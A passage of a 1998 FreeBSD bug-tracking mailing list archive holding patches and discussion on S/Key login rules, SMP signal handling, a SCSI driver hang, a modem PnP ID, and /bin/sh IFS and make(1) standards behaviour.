"/etc/skey.access" and use sudo(1) to run 'login -h localhost' Here is a patch to the skey.access manual page to make this caveat clear (the patch will apply to both -current and -stable): # diff -u skey.access.5-- skey.access.5 --- skey.access.5-- Wed Oct 19 00:03:23 1994 +++ skey.access.5 Tue Sep 23 06:43:06 1997 @@ -76,6 +76,15 @@ .I internet keyword may be omitted from net/mask patterns. .SH WARNINGS +When the S/Key control table (\fI/etc/skey.access\fR) +exists, users without S/Key passwords will be able to login only +where the rules allow the use of UNIX passwords. In particular, this +means that an invocation of \fIlogin(1)\fR in a pseudo-tty (e.g. from +within \fIxterm(1)\fR or \fIscreen(1)\fR) will be treated as a login +that is neither from the console nor from the network, mandating the use +of an S/Key password. Since such users do not have an S/Key password +the invocation of \fIlogin(1)\fR will necessarily fail. +.PP Several rule types depend on host name or address information obtained through the network. What follows is a list of conceivable attacks to force the system to permit UNIX passwords. The PR can be closed as a user misunderstanding I guess ... Regards, Koshy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 00:11:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA18298 for freebsd-bugs-outgoing; Tue, 12 May 1998 00:11:31 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA18293 for ; Tue, 12 May 1998 00:11:28 -0700 (PDT) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id CAA16723; Tue, 12 May 1998 02:11:23 -0500 (EST) (envelope-from toor) Message-Id: <199805120711.CAA16723@dyson.iquest.net> Subject: Re: kern/6587: SMP idle cpl breaks signal forwarding In-Reply-To: <199805112130.OAA26024@freefall.freebsd.org> from Tor Egge at "May 11, 98 02:30:01 pm" To: Tor.Egge@idi.ntnu.no Date: Tue, 12 May 1998 02:11:23 -0500 (EST) Cc: freebsd-bugs@FreeBSD.ORG From: "John S. Dyson" Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This fix really helps things... Tor, are you willing to commit this, or do you want me to? I suggest an XXX marking for the code, but it makes our SMP code much more pleasant to use. Let me know what you want to do!!! Tor Egge said: > The following reply was made to PR kern/6587; it has been noted by GNATS. > > From: Tor Egge > To: will@iki.fi > Cc: freebsd-gnats-submit@FreeBSD.ORG > Subject: Re: kern/6587: SMP idle cpl breaks signal forwarding > Date: Mon, 11 May 1998 23:27:46 +0200 > > Having a shared AST flag in an SMP configuration is wrong. > This is one of the bad side effects. > > Appended is an attempt at a workaround. Consider it my submission to > a kludge stacking contest. > > - Tor Egge > > Index: swtch.s > =================================================================== > RCS file: /home/ncvs/src/sys/i386/i386/swtch.s,v > retrieving revision 1.71 > diff -u -r1.71 swtch.s > --- swtch.s 1998/04/06 15:44:31 1.71 > +++ swtch.s 1998/05/11 20:46:13 > @@ -49,6 +49,8 @@ > #include > #include > #include /** GRAB_LOPRIO */ > +#include > +#include > #endif /* SMP */ > > #include "assym.s" > @@ -308,6 +310,10 @@ > * > * XXX: we had damn well better be sure we had it before doing this! > */ > + CPL_LOCK > + andl $~SWI_AST_MASK, _ipending > + movl $0, _cpl /* Allow ASTs on other CPU */ > + CPL_UNLOCK > movl $FREE_LOCK, %eax > movl %eax, _mp_lock > > @@ -357,16 +363,20 @@ > jmp idle_loop > > 3: > -#ifdef SMP > movl $LOPRIO_LEVEL, lapic_tpr /* arbitrate for INTs */ > -#endif > call _get_mplock > + CPL_LOCK > + movl $SWI_AST_MASK, _cpl /* Disallow ASTs on other CPU */ > + CPL_UNLOCK > cmpl $0,_whichrtqs /* real-time queue */ > CROSSJUMP(jne, sw1a, je) > cmpl $0,_whichqs /* normal queue */ > CROSSJUMP(jne, nortqr, je) > cmpl $0,_whichidqs /* 'idle' queue */ > CROSSJUMP(jne, idqr, je) > + CPL_LOCK > + movl $0, _cpl /* Allow ASTs on other CPU */ > + CPL_UNLOCK > call _rel_mplock > jmp idle_loop > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-bugs" in the body of the message > -- John | Never try to teach a pig to sing, dyson@freebsd.org | it just makes you look stupid, jdyson@nc.com | and it irritates the pig. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 01:28:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA27222 for freebsd-bugs-outgoing; Tue, 12 May 1998 01:28:23 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from godzilla.zeta.org.au (mothra.kralizec.net.au [203.15.68.22] (may be forged)) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA27215 for ; Tue, 12 May 1998 01:28:20 -0700 (PDT) (envelope-from bde@godzilla.zeta.org.au) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.7/8.8.7) id SAA27380; Tue, 12 May 1998 18:21:30 +1000 Date: Tue, 12 May 1998 18:21:30 +1000 From: Bruce Evans Message-Id: <199805120821.SAA27380@godzilla.zeta.org.au> To: freebsd-bugs@FreeBSD.ORG, Tor.Egge@idi.ntnu.no Subject: Re: kern/6587: SMP idle cpl breaks signal forwarding Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Having a shared AST flag in an SMP configuration is wrong. > This is one of the bad side effects. I think never setting it in cpl might be best. The swi_ast_phantom code should handle unexpected swi_ast's. This is probably an optimization, even in the UP case - swi_ast's are relatively rare, and phantom ones would still be relatively rarer (new ones would only occur when there is certain interrupt handling between the setting of SWI_AST in ipending and return to user mode), so testing the RPL bits in the trap frame should be cheaper than toggling SWI_AST in cpl for every syscall. The shared AST flag in ipending may be correct even for SMP. It gets multiplexed by trap(). Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 01:53:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA00316 for freebsd-bugs-outgoing; Tue, 12 May 1998 01:53:31 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA00305 for ; Tue, 12 May 1998 01:53:29 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id BAA29003; Tue, 12 May 1998 01:50:01 -0700 (PDT) Received: from newport-1-12.quick.net (josh@newport-1-12.quick.net [207.212.160.212]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA29972 for ; Tue, 12 May 1998 01:50:49 -0700 (PDT) (envelope-from josh@newport-1-12.quick.net) Received: (from josh@localhost) by newport-1-12.quick.net (8.8.8/8.8.8) id BAA14586; Tue, 12 May 1998 01:50:50 -0700 (PDT) (envelope-from josh) Message-Id: <199805120850.BAA14586@newport-1-12.quick.net> Date: Tue, 12 May 1998 01:50:50 -0700 (PDT) From: josh@quick.net Reply-To: josh@quick.net To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: conf/6600: gettytab: FreeBSD -> %s/%m Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6600 >Category: conf >Synopsis: gettytab: FreeBSD -> %s/%m >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Tue May 12 01:50:00 PDT 1998 >Last-Modified: >Originator: Josh Gilliam >Organization: >Release: FreeBSD 3.0-CURRENT i386 >Environment: src/etc/gettytab 1.13 >Description: FreeBSD -> %s/%m >How-To-Repeat: >Fix: --- gettytab~ Mon Sep 22 17:45:43 1997 +++ gettytab Tue May 12 01:44:35 1998 @@ -37,7 +37,7 @@ # np:ap: same as np except istrip. # default:\ - :cb:ce:ck:lc:fd#1000:im=\r\nFreeBSD (%h) (%t)\r\n\r\n:sp#1200: + :cb:ce:ck:lc:fd#1000:im=\r\n%s/%m (%h) (%t)\r\n\r\n:sp#1200: # # Fixed speed entries >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 03:13:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA08510 for freebsd-bugs-outgoing; Tue, 12 May 1998 03:13:30 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA08497 for ; Tue, 12 May 1998 03:13:29 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id DAA29405; Tue, 12 May 1998 03:10:01 -0700 (PDT) Received: from mail.artcom.de ([192.76.129.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA07512 for ; Tue, 12 May 1998 03:05:44 -0700 (PDT) (envelope-from hans@artcom.de) Received: by mail.artcom.de id m0yZBwL-000008C; Tue, 12 May 1998 12:05:41 +0200 (MEST) Message-Id: Date: Tue, 12 May 1998 12:05:41 +0200 (MEST) From: hans@artcom.de Reply-To: hans@artcom.de To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/6603: ncr driver hangs under high load Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6603 >Category: kern >Synopsis: ncr driver hangs under high load >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue May 12 03:10:01 PDT 1998 >Last-Modified: >Originator: Hans Huebner >Organization: Art+Com GmbH >Release: FreeBSD 2.2.6-RELEASE i386 >Environment: FreeBSD-2.2.6-RELEASE, P200, HX-Based MB, SYM22802 SCSI controller (w/diff), four IBM DCHS09X drives on first SCSI channel, root on sd0, sd1/2/3 striped together as ccd. >Description: Under load, the ncr driver hangs while accessing the stripe set. ncr0:3: ERROR (a0:0) (8-28-0) (f/9d) @ (script 928:1807f580). ncr0: script cmd = 88030000 ncr0: regdump: da 10 80 9d 47 0f 02 07 03 08 83 28 80 00 00 08. ncr0: restart (fatal error). sd3(ncr0:3:0): COMMAND FAILED (9 ff) @f0d80800. sd2(ncr0:2:0): COMMAND FAILED (9 ff) @f0d80c00. sd1(ncr0:1:0): COMMAND FAILED (9 ff) @f0d7c000. ncr0: timeout ccb=f0d80800 (skip) ncr0: timeout ccb=f0d80c00 (skip) ncr0: timeout ccb=f0d7c000 (skip) ncr0: timeout ccb=f0d7c400 (skip) >How-To-Repeat: The problem is triggered by 'make world', or by extracting files from a tape drive. >Fix: >Audit-Trail: >Unformatted: Hans Huebner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 06:23:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA00289 for freebsd-bugs-outgoing; Tue, 12 May 1998 06:23:30 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA00278 for ; Tue, 12 May 1998 06:23:29 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id GAA00205; Tue, 12 May 1998 06:20:00 -0700 (PDT) Received: from localhost.zilker.net (jump-k56flex-0117.jumpnet.com [207.8.6.117]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA29415 for ; Tue, 12 May 1998 06:15:45 -0700 (PDT) (envelope-from marquard@zilker.net) Received: (from marquard@localhost) by localhost.zilker.net (8.8.8/8.8.3) id HAA21808; Tue, 12 May 1998 07:53:23 -0500 (CDT) Message-Id: <199805121253.HAA21808@localhost.zilker.net> Date: Tue, 12 May 1998 07:53:23 -0500 (CDT) From: Dave Marquardt Reply-To: marquard@zilker.net To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/6605: add PnP support for Motorola MODEMSurfer 56K in 2.2.6 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6605 >Category: kern >Synopsis: sio.c lacks an entry for Motorola ModemSurfer 56K for PnP >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue May 12 06:20:00 PDT 1998 >Last-Modified: >Originator: Dave Marquardt >Organization: None >Release: FreeBSD 2.2.6-RELEASE i386 >Environment: Packard Bell Force 442CDT, 75 MHz Pentium, with Motorola ModemSurfer 56K PnP modem. >Description: The PnP code in 2.2.6 detects the Motorola ModemSurfer 56K, but doesn't do much of anything with it. I added it to siopnp_ids[] and it was found and recognized as a serial port. >How-To-Repeat: Install Motorola ModemSurfer 56K PnP modem on 2.2.6 system. Configure (and install) kernel with controller pnp0. Note that card is recognized, but not used as an sio device. >Fix: Apply this patch: --- sio.c Tue May 12 07:50:10 1998 +++ /usr/src/sys/i386/isa/sio.c Thu May 7 18:12:09 1998 @@ -2694,6 +2694,7 @@ { 0x8113b04e, "Supra1381"}, { 0x9012b04e, "Supra1290"}, { 0x11007256, "USR0011"}, + { 0x5015f435, "MOT1550"}, { 0 } }; >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 07:53:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA14814 for freebsd-bugs-outgoing; Tue, 12 May 1998 07:53:33 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA14804 for ; Tue, 12 May 1998 07:53:30 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id HAA25421; Tue, 12 May 1998 07:50:01 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA13133; Tue, 12 May 1998 07:43:51 -0700 (PDT) (envelope-from nobody) Message-Id: <199805121443.HAA13133@hub.freebsd.org> Date: Tue, 12 May 1998 07:43:51 -0700 (PDT) From: drsiefer@cacd.rockwell.com To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: misc/6606: package add of perl-5.00404 fails w/3.0 SNAPs Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6606 >Category: misc >Synopsis: package add of perl-5.00404 fails w/3.0 SNAPs >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue May 12 07:50:01 PDT 1998 >Last-Modified: >Originator: Dave Siefer >Organization: >Release: 3.0-980426-SNAP, 3.0-980311-SNAP >Environment: FreeBSD 3.0-980426-SNAP FreeBSD 3.0-980426-SNAP #1: Mon May 4 16:06:15 CDT 1998 root@localhost:/usr/src/sys/compile/pit i386 >Description: Under the 3.0-980426-SNAP, adding the perl-5.00404 package from 3.0-packages dir on ftp.freebsd.org results in failed execution with the message: ld.so failed: Can't find shared library "libnet.so.0.92" I can duplicate this problem on a freshly installed 3.0-980311-SNAP machine as well. I do not see this problem on my 2.2.5-RELEASE or 2.2.6-RELEASE machines, nor can I find the "libnet.so.0.92" file anywhere on the RELEASE machines. Pkg'ing problem in 3.0-packages? >How-To-Repeat: Install 3.0-980311-SNAP or 3.0-980426-SNAP and try installing the perl-5.00404 package from ftp.freebsd.org/pub/FreeBSD/packages-3.0. Could affect other 3.0 SNAPS as well (untested). >Fix: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 08:23:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA19191 for freebsd-bugs-outgoing; Tue, 12 May 1998 08:23:31 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA19184 for ; Tue, 12 May 1998 08:23:30 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id IAA25528; Tue, 12 May 1998 08:20:01 -0700 (PDT) Date: Tue, 12 May 1998 08:20:01 -0700 (PDT) Message-Id: <199805121520.IAA25528@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Martin Cracauer Subject: Re: bin/6557: /bin/sh && IFS Reply-To: Martin Cracauer Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6557; it has been noted by GNATS. From: Martin Cracauer To: dima@best.net, FreeBSD-gnats-submit@FreeBSD.ORG Cc: Subject: Re: bin/6557: /bin/sh && IFS Date: Tue, 12 May 1998 17:22:13 +0200 In <199805082158.OAA01692@burka.rdy.com>, dima@best.net wrote: > /bin/sh doesn't work as it supposed to when dealing with $IFS > variable. > > >How-To-Repeat: > > Try to run this script: > > #!/bin/sh > XXX=/1:/2:/3: > IFS=: > echo /0:$XXX > > The expected result should be: "/0 /1 /2 /3" > However, with current /bin/sh it's: "/0:/1 /2 /3" This has been discussed before, see http://www.freebsd.org/cgi/query-pr.cgi?pr=5263. My reply to this PR has a fix in it, which fixes both your case and the GNU autoconf case. However, it is my current opinion that my fix and bash are wrong. Hence I didn't commit it although you are invited to see if it fits your needs, it's in the url given above. I still don't have a POSIX reference, but I've been told that POSIX specifies that word splitting is to be done during evaluation, not during parsing. I think it's obvious that IFS split is part of word splitting. The question at hand is: How does IFS splitting fit into the picture? The value of $IFS is obviously a result of evaluation, but a result that affects parsing, at least this is what bash tries to do. This sounds very counter-intuitive, how can you define clean sematics for changing the lexical structure while parsing? Consider this: #! /bin/sh IFS=" :" var="bla:fasel:blubb" echo foo:bla:fasel:blubb echo foo:$var bash: foo:bla:fasel:blubb foo bla fasel blubb FreeBSD's unpatched sh and pdksh: foo:bla:fasel:blubb foo:bla fasel blubb My patched FreeBSD sh: foo bla fasel blubb foo bla fasel blubb zsh (doesn't really count): foo:bla:fasel:blubb foo:bla:fasel:blubb What bash and my fix do is that they treat IFS as something that is used "as soon as possible" (while in my fix it is possible even sooner as in bash). My current conclusion is that this is wrong, that IFS *must* *not* affect the basic (top-level script file) paring, but that IFS splitting can happen when the parsed script again begins to parse something. Examples for such later parsing: - The contents of a string are parsed as in var="bla:fasel:blubb" - Some run-time input to the script. To make my point clearer: If bash is right in using IFS during the same parse pass, why doesn't it take it as far as my patch? How can you decide which of both is correct? For now, the only clean solution is not to use IFS for the top-level parse, hence I think FreeBSD's sh (ash) and pdksh are right and autoconf needs to be fixed (given that the fix is always a one-liner that can't be so difficult). Suggestions and comments welcome! Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer http://www.cons.org/cracauer BSD User Group Hamburg, Germany http://www.bsdhh.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 08:53:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA24940 for freebsd-bugs-outgoing; Tue, 12 May 1998 08:53:32 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA24928 for ; Tue, 12 May 1998 08:53:30 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id IAA25580; Tue, 12 May 1998 08:50:01 -0700 (PDT) Date: Tue, 12 May 1998 08:50:01 -0700 (PDT) Message-Id: <199805121550.IAA25580@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Martin Cracauer Subject: Re: bin/5263: sh bug (with example) Reply-To: Martin Cracauer Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/5263; it has been noted by GNATS. From: Martin Cracauer To: FreeBSD-gnats-submit@FreeBSD.ORG Cc: Subject: Re: bin/5263: sh bug (with example) Date: Tue, 12 May 1998 17:51:00 +0200 [repeated for inclusion into gnats...] To follow-up on this one: I think that my fix, bash and autoconf are wrong and that the original ash (FreeBSD's /bin/sh) and pdksh behaviour are right. I sent an explanation as a followup to PR 6557. You can see it online at http://www.freebsd.org/cgi/query-pr.cgi?pr=6557 Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer http://www.cons.org/cracauer BSD User Group Hamburg, Germany http://www.bsdhh.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 11:43:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA28951 for freebsd-bugs-outgoing; Tue, 12 May 1998 11:43:33 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA28946 for ; Tue, 12 May 1998 11:43:31 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id LAA26202; Tue, 12 May 1998 11:40:01 -0700 (PDT) Date: Tue, 12 May 1998 11:40:01 -0700 (PDT) Message-Id: <199805121840.LAA26202@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: woods@zeus.leitch.com (Greg A. Woods) Subject: Re: bin/6577: /bin/sh environment variables not set in simple commands Reply-To: woods@zeus.leitch.com (Greg A. Woods) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6577; it has been noted by GNATS. From: woods@zeus.leitch.com (Greg A. Woods) To: freebsd-gnats-submit@FreeBSD.ORG Cc: Subject: Re: bin/6577: /bin/sh environment variables not set in simple commands Date: Tue, 12 May 1998 14:35:42 -0400 (EDT) [ On Sun, May 10, 1998 at 12:52:46 (-0700), iverok@sum.uio.no wrote: ] > Subject: bin/6577: /bin/sh environment variables not set in simple commands > > FOO=bar eval echo \$FOO > outputting "bar" to build. It outputs nothing. This is contrary to > the documented behaviour (for Simple Commands) and to observed > behaviour on AiX, Digital Unix and on bash. Just FYI, this works A-OK with PD KSH v5.2.13 97/10/27 -- Greg A. Woods +1 416 443-1734 VE3TCP Planix, Inc. ; Secrets of the Weird To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 11:53:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA00675 for freebsd-bugs-outgoing; Tue, 12 May 1998 11:53:32 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA00669 for ; Tue, 12 May 1998 11:53:31 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id LAA26222; Tue, 12 May 1998 11:50:00 -0700 (PDT) Date: Tue, 12 May 1998 11:50:00 -0700 (PDT) Message-Id: <199805121850.LAA26222@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Tor Egge Subject: Re: bin/6557: /bin/sh && IFS Reply-To: Tor Egge Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6557; it has been noted by GNATS. From: Tor Egge To: dima@best.net Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: bin/6557: /bin/sh && IFS Date: Tue, 12 May 1998 20:46:16 +0200 > Try to run this script: > > #!/bin/sh > XXX=/1:/2:/3: > IFS=: > echo /0:$XXX > > The expected result should be: "/0 /1 /2 /3" > However, with current /bin/sh it's: "/0:/1 /2 /3" According to "X/Open Commands and Utilities Issue 4, Version 2" Section 2.6 "Word Expansion", field splitting is performed on the portions of the fields generated by tilde expansion, parameter expansion, command substitution and arithmetic expansion. i.e. your echo /0:$XXX should give Before Word Expansion: /0:$XXX after tilde expansion, parameter expansiion, command substitition and arithmetic expansion: /0:/1:/2:/3: ^^^^^^^^^ This is the portion of the field being the result of expansion. Any field splitting should only be performed on this portion. after field splitting: /0:/1 /2 /3 after pathname expansion: /0:/1 /2 /3 after quote removal: /0:/1 /2 /3 Correct field splitting results in 4 fields. `/0:/1' `/2' `3' `' The last (empty) field should not be removed, since it is not the complete expansion appropriate for a word (the word being `/0:$XXX' (without quotes)). ksh93 gives almost the same result as our /bin/sh (for this example). Unfortunately, it incorrectly removes the last field. bash incorrectly performs field splitting on portions of the fields that are not the result of expansion or substitution. bash also incorrectly removes the last field. - Tor Egge To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue May 12 12:03:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA02158 for freebsd-bugs-outgoing; Tue, 12 May 1998 12:03:38 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA02145 for ; Tue, 12 May 1998 12:03:34 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id MAA26252; Tue, 12 May 1998 12:00:03 -0700 (PDT) Date: Tue, 12 May 1998 12:00:03 -0700 (PDT) Message-Id: <199805121900.MAA26252@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: woods@zeus.leitch.com (Greg A. Woods) Subject: Re: bin/6550 Reply-To: woods@zeus.leitch.com (Greg A. Woods) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6550; it has been noted by GNATS. From: woods@zeus.leitch.com (Greg A. Woods) To: freebsd-gnats-submit@FreeBSD.ORG Cc: Subject: Re: bin/6550 Date: Tue, 12 May 1998 14:55:58 -0400 (EDT) [ On Sun, May 10, 1998 at 12:57:25 (-0700), Poul-Henning Kamp wrote: ] > Subject: Re: bin/6550 > > Synopsis: make(1): shell meta-character optimization incomplete > > State-Changed-From-To: open-closed > State-Changed-By: phk > State-Changed-When: Sun May 10 12:56:00 PDT 1998 > State-Changed-Why: > what made you think that it should support all of that stuff ? > > make only supports some of the primitives to gain some speed, > it has never promised to replace your shell entirely. If you want FreeBSD's make to be standards compliant then perhaps the following statement will be of help: Commands will be executed by passing the command line to the command interpreter in the same manner as if the string were the argument to the XSH specification system() function. This is from: http://www.opengroup.org/onlinepubs/7908799/xcu/make.html (You might have to go via http://www.UNIX-systems.org/online.html to get there though because of the copyright restricitons.) I think POSIX.2 is slightly more specific about skipping the use of system() where possible, though perhaps only in the rationale sections. Indeed this was the case in P1003.2 Draft 11.2: 6.2.7.2 Makefile Execution Command lines shall be processed one at a time by writing the command line to the standard output (unless one of the conditions listed below 1 under ``@'' suppresses the writing) and executing the command(s) in the 1 line. A character may precede the command to standard output. Commands shall be executed by passing the command line to the command interpreter in the same manner as if the string were the argument to the function in 7.1.1 [such as the system() function in the C binding]. (7.1.1 is, of course, "Execute Shell Command") The relevant part of the rationale from that draft reads: Some implementations do not use system() for all command lines, as required by the POSIX.2 portable makefile format; as a performance enhancement, they select lines without shell metacharacters for direct execution by execve(). There is no requirement that system() be used specifically, but merely that the same results be achieved. The metacharacters typically used to bypass the direct execve() execution have been any of: = | ^ ( ) ; & < > * ? [ ] : $ ` ' " \ \n The default in some advanced versions of make is to group all the command lines for a target and execute them using a single shell invocation; the System V method is to pass each line individually to a separate shell. The single-shell method has the advantages in performance and the lack of a requirement for many continued lines. However, converting to this newer method has caused portability problems with many historical makefiles, so the behavior with the POSIX makefile is specified to be the same as System V's. It is suggested that the special target .ONESHELL be used 